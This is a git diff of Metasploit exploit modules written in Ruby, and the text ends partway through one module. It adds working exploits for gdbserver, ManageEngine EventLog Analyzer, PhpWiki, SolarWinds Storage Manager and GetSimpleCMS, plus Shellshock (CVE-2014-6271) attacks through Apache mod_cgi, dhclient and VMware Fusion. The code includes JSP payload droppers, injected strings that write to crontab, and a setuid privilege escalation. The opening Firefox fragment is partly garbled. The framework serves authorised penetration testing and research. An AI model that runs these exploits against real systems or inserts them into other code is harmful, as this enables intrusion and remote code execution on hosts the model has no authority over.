- - - - | - end - - # In firefox 21 - 27, there is a vulnerability that allows navigation to a chrome:// URL. - # From there you can load the browser XUL, and inject a data URL into a nested frame. - # If the data URL opens the .xpi URL, the first permission prompt gets skipped. - def web_idl_navigation - %Q| - try { - c = new mozRTCPeerConnection; - c.createOffer(function(){},function(){window.rr=window.open('chrome://browser/content/browser.xul', 'f')}); - setTimeout(function(){ - try { - frames[0].frames[1].location="data:text/html,\n| + html << %Q|| + return html end end diff --git a/modules/exploits/multi/gdb/gdb_server_exec.rb b/modules/exploits/multi/gdb/gdb_server_exec.rb new file mode 100644 index 000000000000..e32ac54153ef --- /dev/null +++ b/modules/exploits/multi/gdb/gdb_server_exec.rb @@ -0,0 +1,84 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::Gdb + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'GDB Server Remote Payload Execution', + 'Description' => %q{ + This module attempts to execute an arbitrary payload on a loose gdbserver service. + }, + 'Author' => [ 'joev' ], + 'Targets' => [ + [ 'x86 (32-bit)', { 'Arch' => ARCH_X86 } ], + [ 'x86_64 (64-bit)', { 'Arch' => ARCH_X86_64 } ] + ], + 'References' => + [ + ['URL', 'https://github.com/rapid7/metasploit-framework/pull/3691'] + ], + 'DisclosureDate' => 'Aug 24 2014', + 'Platform' => %w(linux unix osx), + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'PrependFork' => true + } + )) + + register_options([ + OptString.new('EXE_FILE', [ + false, + "The exe to spawn when gdbserver is not attached to a process.", + '/bin/true' + ]) + ], self.class) + end + + def exploit + connect + + print_status "Performing handshake with gdbserver..." + handshake + + enable_extended_mode + + begin + print_status "Stepping program to find PC..." + gdb_data = process_info + rescue BadAckError, BadResponseError + # gdbserver is running with the --multi flag and is not currently + # attached to any process. let's attach to /bin/true or something. + print_status "No process loaded, attempting to load /bin/true..." + run(datastore['EXE_FILE']) + gdb_data = process_info + end + + gdb_pc, gdb_arch = gdb_data.values_at(:pc, :arch) + + unless payload.arch.include? gdb_arch + fail_with( + Msf::Exploit::Failure::BadConfig, + "The payload architecture is incorrect: "+ + "the payload is #{payload.arch.first}, but #{gdb_arch} was detected from gdb." + ) + end + + print_status "Writing payload at #{gdb_pc}..." + write(payload.encoded, gdb_pc) + + print_status "Executing the payload..." + continue + + handler + disconnect + end + +end diff --git a/modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb b/modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb new file mode 100644 index 000000000000..613b2a32fdda --- /dev/null +++ b/modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb @@ -0,0 +1,127 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Apache mod_cgi Bash Environment Variable Code Injection', + 'Description' => %q{ + This module exploits a code injection in specially crafted environment + variables in Bash, specifically targeting Apache mod_cgi scripts through + the HTTP_USER_AGENT variable. + }, + 'Author' => [ + 'Stephane Chazelas', # Vulnerability discovery + 'wvu', # Original Metasploit aux module + 'juan vazquez' # Allow wvu's module to get native sessions + ], + 'References' => [ + ['CVE', '2014-6271'], + ['URL', 'https://access.redhat.com/articles/1200223'], + ['URL', 'http://seclists.org/oss-sec/2014/q3/649'] + ], + 'Payload' => + { + 'DisableNops' => true, + 'Space' => 2048 + }, + 'Targets' => + [ + [ 'Linux x86', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + 'CmdStagerFlavor' => [ :echo, :printf ] + } + ], + [ 'Linux x86_64', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X86_64, + 'CmdStagerFlavor' => [ :echo, :printf ] + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Sep 24 2014', + 'License' => MSF_LICENSE + )) + + register_options([ + OptString.new('TARGETURI', [true, 'Path to CGI script']), + OptEnum.new('METHOD', [true, 'HTTP method to use', 'GET', ['GET', 'POST']]), + OptInt.new('CMD_MAX_LENGTH', [true, 'CMD max line length', 2048]), + OptString.new('RPATH', [true, 'Target PATH for binaries used by the CmdStager', '/bin']), + OptInt.new('TIMEOUT', [true, 'HTTP read response timeout (seconds)', 5]) + ], self.class) + end + + def check + res = req("echo #{marker}") + + if res && res.body.include?(marker * 3) + return Exploit::CheckCode::Vulnerable + elsif res && res.code == 500 + injected_res_code = res.code + else + return Exploit::CheckCode::Safe + end + + res = send_request_cgi({ + 'method' => datastore['METHOD'], + 'uri' => normalize_uri(target_uri.path.to_s) + }) + + if res && injected_res_code == res.code + return Exploit::CheckCode::Unknown + elsif res && injected_res_code != res.code + return Exploit::CheckCode::Appears + end + + Exploit::CheckCode::Unknown + end + + def exploit + # Cannot use generic/shell_reverse_tcp inside an elf + # Checking before proceeds + if generate_payload_exe.blank? + fail_with(Failure::BadConfig, "#{peer} - Failed to store payload inside executable, please select a native payload") + end + + execute_cmdstager(:linemax => datastore['CMD_MAX_LENGTH'], :nodelete => true) + + # A last chance after the cmdstager + # Trying to make it generic + unless session_created? + req("#{stager_instance.instance_variable_get("@tempdir")}#{stager_instance.instance_variable_get("@var_elf")}") + end + end + + def execute_command(cmd, opts) + cmd.gsub!('chmod', "#{datastore['RPATH']}/chmod") + + req(cmd) + end + + def req(cmd) + send_request_cgi( + { + 'method' => datastore['METHOD'], + 'uri' => normalize_uri(target_uri.path.to_s), + 'agent' => "() { :;};echo #{marker}$(#{cmd})#{marker}" + }, datastore['TIMEOUT']) + end + + def marker + @marker ||= rand_text_alphanumeric(rand(42) + 1) + end +end diff --git a/modules/exploits/multi/http/eventlog_file_upload.rb b/modules/exploits/multi/http/eventlog_file_upload.rb new file mode 100644 index 000000000000..a27e63bedf65 --- /dev/null +++ b/modules/exploits/multi/http/eventlog_file_upload.rb @@ -0,0 +1,343 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'ManageEngine Eventlog Analyzer Arbitrary File Upload', + 'Description' => %q{ + This module exploits a file upload vulnerability in ManageEngine Eventlog Analyzer. + The vulnerability exists in the agentUpload servlet which accepts unauthenticated + file uploads and handles zip file contents in a insecure way. By combining both + weaknesses a remote attacker can achieve remote code execution. This module has been + tested successfully on versions v7.0 - v9.9 b9002 in Windows and Linux. Versions + between 7.0 and < 8.1 are only exploitable via EAR deployment in the JBoss server, + while versions 8.1+ are only exploitable via a JSP upload. + }, + 'Author' => + [ + 'h0ng10', # Vulnerability discovery + 'Pedro Ribeiro ' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2014-6037' ], + [ 'OSVDB', '110642' ], + [ 'URL', 'https://www.mogwaisecurity.de/advisories/MSA-2014-01.txt' ], + [ 'URL', 'http://seclists.org/fulldisclosure/2014/Aug/86' ] + ], + 'DefaultOptions' => { 'WfsDelay' => 5 }, + 'Privileged' => false, # Privileged on Windows but not on Linux targets + 'Platform' => %w{ java linux win }, + 'Targets' => + [ + [ 'Automatic', { } ], + [ 'Eventlog Analyzer v7.0 - v8.0 / Java universal', + { + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'WfsDelay' => 30 + } + ], + [ 'Eventlog Analyzer v8.1 - v9.9 b9002 / Windows', + { + 'Platform' => 'win', + 'Arch' => ARCH_X86 + } + ], + [ 'Eventlog Analyzer v8.1 - v9.9 b9002 / Linux', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X86 + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Aug 31 2014')) + + register_options( + [ + Opt::RPORT(8400), + OptInt.new('SLEEP', + [true, 'Seconds to sleep while we wait for EAR deployment (Java target only)', 15]), + ], self.class) + end + + + def get_version + res = send_request_cgi({ + 'uri' => normalize_uri("event/index3.do"), + 'method' => 'GET' + }) + + if res and res.code == 200 + if res.body =~ /ManageEngine EventLog Analyzer ([0-9]{1})/ + return $1 + end + end + + return "0" + end + + + def check + version = get_version + if version >= "7" and version <= "9" + # version 7 to < 8.1 detection + res = send_request_cgi({ + 'uri' => normalize_uri("event/agentUpload"), + 'method' => 'GET' + }) + if res and res.code == 405 + return Exploit::CheckCode::Appears + end + + # version 8.1+ detection + res = send_request_cgi({ + 'uri' => normalize_uri("agentUpload"), + 'method' => 'GET' + }) + if res and res.code == 405 and version == 8 + return Exploit::CheckCode::Appears + else + # We can't be sure that it is vulnerable in version 9 + return Exploit::CheckCode::Detected + end + + else + return Exploit::CheckCode::Safe + end + end + + + def create_zip_and_upload(payload, target_path, is_payload = true) + # Zipping with CM_STORE to avoid errors decompressing the zip + # in the Java vulnerable application + zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE) + zip.add_file(target_path, payload) + + post_data = Rex::MIME::Message.new + post_data.add_part(zip.pack, "application/zip", 'binary', "form-data; name=\"#{Rex::Text.rand_text_alpha(4+rand(4))}\"; filename=\"#{Rex::Text.rand_text_alpha(4+rand(4))}.zip\"") + + data = post_data.to_s + + if is_payload + print_status("#{peer} - Uploading payload...") + end + res = send_request_cgi({ + 'uri' => (@my_target == targets[1] ? normalize_uri("/event/agentUpload") : normalize_uri("agentUpload")), + 'method' => 'POST', + 'data' => data, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" + }) + + if res and res.code == 200 and res.body.empty? + if is_payload + print_status("#{peer} - Payload uploaded successfully") + end + register_files_for_cleanup(target_path.gsub("../../", "../")) + return true + else + return false + end + end + + + def pick_target + return target if target.name != 'Automatic' + + print_status("#{peer} - Determining target") + + version = get_version + + if version == "7" + return targets[1] + end + + os_finder_payload = %Q{<%out.println(System.getProperty("os.name"));%>} + jsp_name = "#{rand_text_alphanumeric(4+rand(32-4))}.jsp" + target_dir = "../../webapps/event/" + if not create_zip_and_upload(os_finder_payload, target_dir + jsp_name, false) + if version == "8" + # Versions < 8.1 do not have a Java compiler, but can be exploited via the EAR method + return targets[1] + end + return nil + end + + res = send_request_cgi({ + 'uri' => normalize_uri(jsp_name), + 'method' => 'GET' + }) + + if res and res.code == 200 + if res.body.to_s =~ /Windows/ + return targets[2] + else + # assuming Linux + return targets[3] + end + end + + return nil + end + + + def generate_jsp_payload + opts = {:arch => @my_target.arch, :platform => @my_target.platform} + payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch) + exe = generate_payload_exe(opts) + base64_exe = Rex::Text.encode_base64(exe) + + native_payload_name = rand_text_alpha(rand(6)+3) + ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin' + + var_raw = rand_text_alpha(rand(8) + 3) + var_ostream = rand_text_alpha(rand(8) + 3) + var_buf = rand_text_alpha(rand(8) + 3) + var_decoder = rand_text_alpha(rand(8) + 3) + var_tmp = rand_text_alpha(rand(8) + 3) + var_path = rand_text_alpha(rand(8) + 3) + var_proc2 = rand_text_alpha(rand(8) + 3) + + if @my_target['Platform'] == 'linux' + var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3) + chmod = %Q| + Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path}); + Thread.sleep(200); + | + + var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3) + cleanup = %Q| + Thread.sleep(200); + Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path}); + | + else + chmod = '' + cleanup = '' + end + + jsp = %Q| + <%@page import="java.io.*"%> + <%@page import="sun.misc.BASE64Decoder"%> + <% + try { + String #{var_buf} = "#{base64_exe}"; + BASE64Decoder #{var_decoder} = new BASE64Decoder(); + byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString()); + + File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}"); + String #{var_path} = #{var_tmp}.getAbsolutePath(); + + BufferedOutputStream #{var_ostream} = + new BufferedOutputStream(new FileOutputStream(#{var_path})); + #{var_ostream}.write(#{var_raw}); + #{var_ostream}.close(); + #{chmod} + Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path}); + #{cleanup} + } catch (Exception e) { + } + %> + | + + jsp = jsp.gsub(/\n/, '') + jsp = jsp.gsub(/\t/, '') + jsp = jsp.gsub(/\x0d\x0a/, "") + jsp = jsp.gsub(/\x0a/, "") + + return jsp + end + + + def exploit_native + # When using auto targeting, MSF selects the Windows meterpreter as the default payload. + # Fail if this is the case and ask the user to select an appropriate payload. + if @my_target['Platform'] == 'linux' and payload_instance.name =~ /Windows/ + fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.") + end + + jsp_name = "#{rand_text_alphanumeric(4+rand(32-4))}.jsp" + target_dir = "../../webapps/event/" + + jsp_payload = generate_jsp_payload + if not create_zip_and_upload(jsp_payload, target_dir + jsp_name) + fail_with(Failure::Unknown, "#{peer} - Payload upload failed") + end + + return jsp_name + end + + + def exploit_java + # When using auto targeting, MSF selects the Windows meterpreter as the default payload. + # Fail if this is the case and ask the user to select an appropriate payload. + if @my_target['Platform'] == 'java' and not payload_instance.name =~ /Java/ + fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Java target.") + end + + target_dir = "../../server/default/deploy/" + + # First we generate the WAR with the payload... + war_app_base = rand_text_alphanumeric(4 + rand(32 - 4)) + war_payload = payload.encoded_war({ :app_name => war_app_base }) + + # ... and then we create an EAR file that will contain it. + ear_app_base = rand_text_alphanumeric(4 + rand(32 - 4)) + app_xml = %Q{#{rand_text_alphanumeric(4 + rand(32 - 4))}#{war_app_base + ".war"}/#{ear_app_base}} + + # Zipping with CM_STORE to avoid errors while decompressing the zip + # in the Java vulnerable application + ear_file = Rex::Zip::Archive.new(Rex::Zip::CM_STORE) + ear_file.add_file(war_app_base + ".war", war_payload.to_s) + ear_file.add_file("META-INF/application.xml", app_xml) + ear_file_name = rand_text_alphanumeric(4 + rand(32 - 4)) + ".ear" + + if not create_zip_and_upload(ear_file.pack, target_dir + ear_file_name) + fail_with(Failure::Unknown, "#{peer} - Payload upload failed") + end + + print_status("#{peer} - Waiting " + datastore['SLEEP'].to_s + " seconds for EAR deployment...") + sleep(datastore['SLEEP']) + return normalize_uri(ear_app_base, war_app_base, rand_text_alphanumeric(4 + rand(32 - 4))) + end + + + def exploit + if datastore['SLEEP'] < 0 + print_error("The SLEEP datastore option shouldn't be negative") + return + end + + @my_target = pick_target + if @my_target.nil? + print_error("#{peer} - Unable to select a target, we must bail.") + return + else + print_status("#{peer} - Selected target #{@my_target.name}") + end + + if @my_target == targets[1] + exploit_path = exploit_java + else + exploit_path = exploit_native + end + + print_status("#{peer} - Executing payload...") + send_request_cgi({ + 'uri' => normalize_uri(exploit_path), + 'method' => 'GET' + }) + end +end diff --git a/modules/exploits/multi/http/phpwiki_ploticus_exec.rb b/modules/exploits/multi/http/phpwiki_ploticus_exec.rb new file mode 100644 index 000000000000..0a7711e0d95c --- /dev/null +++ b/modules/exploits/multi/http/phpwiki_ploticus_exec.rb @@ -0,0 +1,84 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::PhpEXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Phpwiki Ploticus Remote Code Execution', + 'Description' => %q{ + The Ploticus module in PhpWiki 1.5.0 allows remote attackers to execute arbitrary + code via command injection. + }, + 'Author' => + [ + 'Benjamin Harris', # Discovery and POC + 'us3r777 ' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2014-5519' ], + [ 'OSVDB', '110576' ], + [ 'EDB', '34451'], + [ 'URL', 'https://sourceforge.net/p/phpwiki/code/8974/?page=1' ], # This commit prevents exploitation + [ 'URL', 'http://seclists.org/fulldisclosure/2014/Aug/77' ] # The day the vuln went public + ], + 'Payload' => + { + 'BadChars' => "\x00", + }, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => + [ + [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], + [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Sep 11 2014')) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The full URI path to phpwiki', '/phpwiki']) , + ], self.class) + end + + def exploit + uri = target_uri.path + + payload_name = "#{rand_text_alpha(8)}.php" + php_payload = get_write_exec_payload(:unlink_self=>true) + + res = send_request_cgi({ + 'uri' => normalize_uri(uri + '/index.php/HeIp'), + 'method' => 'POST', + 'vars_post' => + { + 'pagename' => 'HeIp', + 'edit[content]' => "< #{payload_name};\" -prefab= -csmap= data= alt= help= >>", + 'edit[preview]' => 'Preview', + 'action' => 'edit' + } + }) + + if not res or res.code != 200 + fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed") + end + + upload_uri = normalize_uri(uri + "/" + payload_name) + print_status("#{peer} - Executing payload #{payload_name}") + send_request_raw({ + 'uri' => upload_uri, + 'method' => 'GET' + }) + end +end diff --git a/modules/exploits/multi/http/solarwinds_store_manager_auth_filter.rb b/modules/exploits/multi/http/solarwinds_store_manager_auth_filter.rb new file mode 100644 index 000000000000..84cba0a3186c --- /dev/null +++ b/modules/exploits/multi/http/solarwinds_store_manager_auth_filter.rb @@ -0,0 +1,144 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'SolarWinds Storage Manager Authentication Bypass', + 'Description' => %q{ + This module exploits an authentication bypass vulnerability in Solarwinds Storage Manager. + The vulnerability exists in the AuthenticationFilter, which allows to bypass authentication + with specially crafted URLs. After bypassing authentication, is possible to use a file + upload function to achieve remote code execution. This module has been tested successfully + in Solarwinds Store Manager Server 5.1.0 and 5.7.1 on Windows 32 bits, Windows 64 bits and + Linux 64 bits operating systems. + }, + 'Author' => + [ + 'rgod ', # Vulnerability Discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['ZDI', '14-299'] + ], + 'Privileged' => true, + 'Platform' => %w{ linux win }, + 'Arch' => ARCH_JAVA, + 'Targets' => + [ + ['Solarwinds Store Manager <= 5.7.1', {}] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Aug 19 2014')) + + register_options( + [ + Opt::RPORT(9000) + ], self.class) + end + + def check + res = send_request_cgi({ + 'uri' => normalize_uri("/", "images", "..", "jsp", "ProcessFileUpload.jsp"), + 'method' => 'POST', + 'ctype' => "multipart/form-data; boundary=----#{rand_text_alpha(10 + rand(10))}" + }) + + if res && res.code == 200 && res.body && res.body.to_s =~ /Upload Successful!!/ + return Exploit::CheckCode::Vulnerable + end + + Exploit::CheckCode::Safe + end + + def exploit + jsp_info = "#{rand_text_alphanumeric(4 + rand(32-4))}.jsp" + print_status("#{peer} - Uploading Information Gathering JSP #{jsp_info}...") + if upload(jsp_info, jsp_path) + print_good("#{peer} - JSP payload uploaded successfully") + else + fail_with(Failure::Unknown, "#{peer} - Information Gathering JSP upload failed") + end + + res = execute(jsp_info) + + if res && res.code == 200 && res.body.to_s =~ /Path:(.*)/ + upload_path = $1 + print_good("#{peer} - Working directory found in #{upload_path}") + register_file_for_cleanup(::File.join(upload_path, jsp_info)) + else + print_error("#{peer} - Couldn't retrieve the upload directory, manual cleanup will be required") + print_warning("#{peer} - #{jsp_info} needs to be deleted manually") + end + + jsp_payload = "#{rand_text_alphanumeric(4 + rand(32-4))}.jsp" + print_status("#{peer} - Uploading JSP payload #{jsp_payload}...") + if upload(jsp_payload, payload.encoded) + print_good("#{peer} - JSP payload uploaded successfully") + else + fail_with(Failure::Unknown, "#{peer} - JSP payload upload failed") + end + + if upload_path + register_file_for_cleanup(::File.join(upload_path, jsp_payload)) + else + print_warning("#{peer} - #{jsp_payload} needs to be deleted manually") + end + + print_status("#{peer} - Executing payload...") + execute(jsp_payload, 1) + end + + def execute(jsp_name, time_out = 20) + res = send_request_cgi({ + 'uri' => normalize_uri("/", "images", "..", jsp_name), + 'method' => 'GET' + }, time_out) + + res + end + + def upload(file_name, contents) + post_data = Rex::MIME::Message.new + post_data.add_part(contents, + "application/octet-stream", + nil, + "form-data; name=\"#{rand_text_alpha(4 + rand(4))}\"; filename=\"#{file_name}\"") + + res = send_request_cgi({ + 'uri' => normalize_uri("/", "images", "..", "jsp", "ProcessFileUpload.jsp"), + 'method' => 'POST', + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'data' => post_data.to_s + }) + + if res && res.code == 200 && res.body && res.body.to_s =~ /Upload Successful!!/ + return true + end + + false + end + + def jsp_path + jsp =<<-EOS +<%@ page language="Java" import="java.util.*"%> +<% +out.println("Path:" + System.getProperty("server.webapp.root")); +%> + EOS + + jsp + end + +end diff --git a/modules/exploits/multi/http/struts_code_exec_classloader.rb b/modules/exploits/multi/http/struts_code_exec_classloader.rb index 344061f9e569..68c3eee1337b 100644 --- a/modules/exploits/multi/http/struts_code_exec_classloader.rb +++ b/modules/exploits/multi/http/struts_code_exec_classloader.rb @@ -150,6 +150,8 @@ def fix(jsp) output << l elsif l =~ /<%/ next + elsif l=~ /%>/ + next elsif l.chomp.empty? next else @@ -163,10 +165,18 @@ def create_jsp if target['Arch'] == ARCH_JAVA jsp = fix(payload.encoded) else - payload_exe = generate_payload_exe + if target['Platform'] == 'win' + payload_exe = Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform, payload.encoded, "exe-small", {:arch => target.arch, :platform => target.platform}) + else + payload_exe = generate_payload_exe + end payload_file = rand_text_alphanumeric(4 + rand(4)) jsp = jsp_dropper(payload_file, payload_exe) - register_files_for_cleanup(payload_file) + if target['Platform'] == 'win' && target['Arch'] == ARCH_X86 + register_files_for_cleanup("../webapps/ROOT/#{payload_file}") + else + register_files_for_cleanup(payload_file) + end end jsp @@ -193,12 +203,16 @@ def exploit # Check if the log file exists and has been flushed - if check_log_file(normalize_uri(target_uri.to_s)) - register_files_for_cleanup(@jsp_file) - else + unless check_log_file(normalize_uri(target_uri.to_s)) fail_with(Failure::Unknown, "#{peer} - The log file hasn't been flushed") end + if target['Platform'] == 'win' && target['Arch'] == ARCH_X86 + register_files_for_cleanup("../webapps/ROOT/#{@jsp_file}") + else + register_files_for_cleanup(@jsp_file) + end + # Prepare the JSP print_status("#{peer} - Generating JSP...") jsp = create_jsp @@ -213,7 +227,9 @@ def exploit end # Check log file... enjoy shell! - check_log_file(random_request) + unless target['Arch'] == ARCH_JAVA + check_log_file(random_request) + end # No matter what happened, try to 'restore' the Class Loader properties = { @@ -223,6 +239,11 @@ def exploit :file_date_format => '' } modify_class_loader(properties) + + if target['Arch'] == ARCH_JAVA + send_request_cgi({ 'uri' => normalize_uri("/", @jsp_file) }) + end + end end diff --git a/modules/exploits/osx/local/vmware_bash_function_root.rb b/modules/exploits/osx/local/vmware_bash_function_root.rb new file mode 100644 index 000000000000..25948aa6a06b --- /dev/null +++ b/modules/exploits/osx/local/vmware_bash_function_root.rb @@ -0,0 +1,81 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Exploit::Local + Rank = NormalRanking + + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => 'OS X VMWare Fusion Privilege Escalation via Bash Environment Code Injection', + 'Description' => %q{ + This abuses the bug in bash environment variables (CVE-2014-6271) to get + a suid binary inside of VMWare Fusion to launch our payload as root. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Stephane Chazelas', # discovered the bash bug + 'juken', # discovered the VMWare priv esc + 'joev', # msf module + 'mubix' # vmware-vmx-stats + ], + 'References' => + [ + [ 'CVE', '2014-6271' ] + ], + 'Platform' => 'osx', + 'Arch' => [ ARCH_X86_64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => [ + [ 'Mac OS X 10.9 Mavericks x64 (Native Payload)', + { + 'Platform' => 'osx', + 'Arch' => ARCH_X86_64 + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Sep 24 2014' + )) + + register_options([ + OptString.new('VMWARE_PATH', [true, "The path to VMware.app", '/Applications/VMware Fusion.app']), + ], self.class) + end + + def check + check_str = Rex::Text.rand_text_alphanumeric(5) + # ensure they are vulnerable to bash env variable bug + if cmd_exec("env x='() { :;}; echo #{check_str}' bash -c echo").include?(check_str) && + cmd_exec("file '#{datastore['VMWARE_PATH']}'") !~ /cannot open/ + + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe + end + end + + def exploit + payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}" + path = '/Contents/Library/vmware-vmx-stats' # path to the suid binary + + print_status("Writing payload file as '#{payload_file}'") + exe = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded) + write_file(payload_file, exe) + register_file_for_cleanup(payload_file) + cmd_exec("chmod +x #{payload_file}") + + print_status("Running VMWare services...") + cmd_exec("LANG='() { :;}; #{payload_file}' '#{datastore['VMWARE_PATH']}#{path}' /dev/random") + end + +end diff --git a/modules/exploits/unix/dhcp/bash_environment.rb b/modules/exploits/unix/dhcp/bash_environment.rb new file mode 100644 index 000000000000..7d2f64051dda --- /dev/null +++ b/modules/exploits/unix/dhcp/bash_environment.rb @@ -0,0 +1,91 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/proto/dhcp' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::DHCPServer + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Dhclient Bash Environment Variable Injection', + 'Description' => %q| + When bash is started with an environment variable that begins with the + string "() {", that variable is treated as a function definition and + parsed as code. If extra commands are added after the function + definition, they will be executed immediately. When dhclient receives + an ACK that contains a domain name or hostname, they are passed to + configuration scripts as environment variables, allowing us to trigger + the bash bug. + + Because of the length restrictions and unusual networking scenario at + time of exploitation, we achieve code execution by echoing our payload + into /etc/crontab and clean it up when we get a shell. + |, + 'Author' => + [ + 'Stephane Chazelas', # Vulnerability discovery + 'egypt' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'Platform' => ['unix'], + 'Arch' => ARCH_CMD, + 'References' => + [ + ['CVE', '2014-6271'] + ], + 'Payload' => + { + # 255 for a domain name, minus some room for encoding + 'Space' => 200, + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic bash telnet ruby', + } + }, + 'Targets' => [ [ 'Automatic Target', { }] ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Sep 24 2014' + )) + + deregister_options('DOMAINNAME', 'HOSTNAME', 'URL') + end + + def on_new_session(session) + print_status "Cleaning up crontab" + # XXX this will brick a server some day + session.shell_command_token("sed -i '/^\\* \\* \\* \\* \\* root/d' /etc/crontab") + end + + def exploit + hash = datastore.copy + # Quotes seem to be completely stripped, so other characters have to be + # escaped + p = payload.encoded.gsub(/([<>()|'&;$])/) { |s| Rex::Text.to_hex(s) } + echo = "echo -e #{(Rex::Text.to_hex("*") + " ") * 5}root #{p}>>/etc/crontab" + hash['DOMAINNAME'] = "() { :; };#{echo}" + if hash['DOMAINNAME'].length > 255 + raise ArgumentError, 'payload too long' + end + + hash['HOSTNAME'] = "() { :; };#{echo}" + hash['URL'] = "() { :; };#{echo}" + start_service(hash) + + begin + while @dhcp.thread.alive? + sleep 2 + end + ensure + stop_service + end + end + +end diff --git a/modules/exploits/unix/webapp/get_simple_cms_upload_exec.rb b/modules/exploits/unix/webapp/get_simple_cms_upload_exec.rb new file mode 100644 index 000000000000..16c3efd55cfb --- /dev/null +++ b/modules/exploits/unix/webapp/get_simple_cms_upload_exec.rb @@ -0,0 +1,140 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'GetSimpleCMS PHP File Upload Vulnerability', + 'Description' => %q{ + This module exploits a file upload vulnerability in GetSimple CMS. By abusing the + upload.php file, a malicious authenticated user can upload an arbitrary file, + including PHP code, which results in arbitrary code execution. + }, + 'Author' => + [ + 'Ahmed Elhady Mohamed' + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['EDB', '25405'], + ['OSVDB', '93034'] + ], + 'Payload' => + { + 'BadChars' => "\x00", + }, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => + [ + ['Generic (PHP Payload)', {}] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 04 2014' + )) + + register_options([ + OptString.new('TARGETURI', [true, 'The full URI path to 